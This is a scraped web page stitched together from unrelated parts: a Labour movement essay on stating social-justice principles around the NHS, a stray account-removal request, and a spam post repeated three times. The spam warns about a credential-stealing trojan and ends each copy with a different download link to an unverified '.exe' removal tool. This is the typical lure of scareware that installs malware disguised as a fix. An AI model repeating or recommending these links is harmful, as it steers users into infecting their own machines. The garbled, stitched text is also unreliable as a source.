The vast majority of people in the Labour movement instinctively support public services. Our belief in institutions such as the National Health Service is so strong that we rarely have to think about our core values. We don t often explain why we believe that introducing upfront costs to such a service is against what we stand for and tend to simply state that it is a bad idea. Social justice is what unites the Labour movement, yet it is something that is often disconnected from our key arguments. Why do we believe in services based on need and not means? Why can t we just let the free market provide our basic services? If we do not enunciate our message, not only in terms of personal benefit to an individual but in terms of it being the fairest policy, we will not be able to put our beliefs into practice.
There s no such thing as society, Margaret Thatcher once declared. After eighteen years of Tory rule, in many ways this seemed the case. Following four successive defeats, we adopted the idea that we needed to make some changes to get elected. We accepted that the electorate had become political consumers and marketed ourselves in a managerial fashion saying that we could run the country better.
But where does social justice fit into this? How does a slogan such as 20,000 extra nurses get across our principles and values? The truth is that it does not. The Labour Party has been accused of lacking principles. We have left ourselves open to this accusation by keeping our principles quiet. We cannot rely on remaining in power just on the basis of our record. If the Tories put forward a strong alternative, there is a risk they will be elected even if we had a good record in government.
One of the most common reasons for apathy is that people cannot see a tangible difference between the parties. In the 2001 general election, public spending commitments differed by less than one percent of GDP between the three main parties. So, based on comparing the levels of spending, you would be quite right in thinking the parties are the same. However, the philosophy and principles of the parties are still as different as ever yet this difference is understandably alien to many people, as it is not being stated.
Time after time at Prime Minister s Questions we hear Tony Blair demand to know if the Conservatives would put the investment in. However, we believe in the NHS not only because it is a good way to run a healthcare system but because it is fair. When the Tories start flirting with insurance-based systems, we counter their argument by saying it is less efficient. Perhaps that is true, but yet again we have put off arguing for what we believe is fair. If we were to leave it to insurance companies to finance healthcare, it would be up to them to decide premiums, ensuring that the people most in need of help will be the ones getting the worst deal. Yet, time and again, we do not attack the Tory Party s policies for their implication and simply label them not worthwhile.
There is a very stark distinction between our principles and those of the Conservatives. Whereas the core principle of the Tory Party is to let the free market be in charge and diminish the state so it simply upholds the law, we want to see that the state ensures the market works to the benefit of society and that people whom the market fails are not left to fend for themselves. We believe in having a minimum wage the Tories said it was irresponsible. There is a clear difference between the parties. The only way we can get that across is by asserting our philosophy and values as well as our policies.
This forum is alive? If yes, please remove this topic and my account.
A new virus has infected more than 750 thousand computers around the world, Reuters reports citing the information the company NetWitness.
Virus “Trojan-DownIoader.Win32.Agent” gathers information on the login and password for the online financial systems, social networks and mailboxes.
According to the company, was contaminated by many organizations, sites of banks, mailboxes Yahoo, Hotmail accounts, and a number of social networks.
The first data on Trojan-DownIoader were obtained specialists NetWitness back in February, when assessing the safety of one of the client networks. In a cache of stolen information Trojan-DownIoader revealed more than 680 thousand usernames and passwords, including for access to online banking, Facebook, Yahoo, Hotmail, and more than 20 thousand SSL-certificates, personal data.
General computer protection from malicious software and installation of password system can not protect your PC from this virus, however there is a specialized anti-virus software to fight against such viruses.
Download link: http://removetrojan.net/securitytool/install.exe
A new virus has infected more than 750 thousand computers around the world, Reuters reports citing the information the company NetWitness.
Virus “Trojan-DownIoader.Win32.Agent” gathers information on the login and password for the online financial systems, social networks and mailboxes.
According to the company, was contaminated by many organizations, sites of banks, mailboxes Yahoo, Hotmail accounts, and a number of social networks.
The first data on Trojan-DownIoader were obtained specialists NetWitness back in February, when assessing the safety of one of the client networks. In a cache of stolen information Trojan-DownIoader revealed more than 680 thousand usernames and passwords, including for access to online banking, Facebook, Yahoo, Hotmail, and more than 20 thousand SSL-certificates, personal data.
General computer protection from malicious software and installation of password system can not protect your PC from this virus, however there is a specialized anti-virus software to fight against such viruses.
Download link: http://virusscan.serveftp.org/download/Remove-malware.exe
A new virus has infected more than 750 thousand computers around the world, Reuters reports citing the information the company NetWitness.
Virus “Trojan-DownIoader.Win32.Agent” gathers information on the login and password for the online financial systems, social networks and mailboxes.
According to the company, was contaminated by many organizations, sites of banks, mailboxes Yahoo, Hotmail accounts, and a number of social networks.
The first data on Trojan-DownIoader were obtained specialists NetWitness back in February, when assessing the safety of one of the client networks. In a cache of stolen information Trojan-DownIoader revealed more than 680 thousand usernames and passwords, including for access to online banking, Facebook, Yahoo, Hotmail, and more than 20 thousand SSL-certificates, personal data.
General computer protection from malicious software and installation of password system can not protect your PC from this virus, however there is a specialized anti-virus software to fight against such viruses.
Download link: http://virus-remove.webcindario.com/download/remove-malware.exe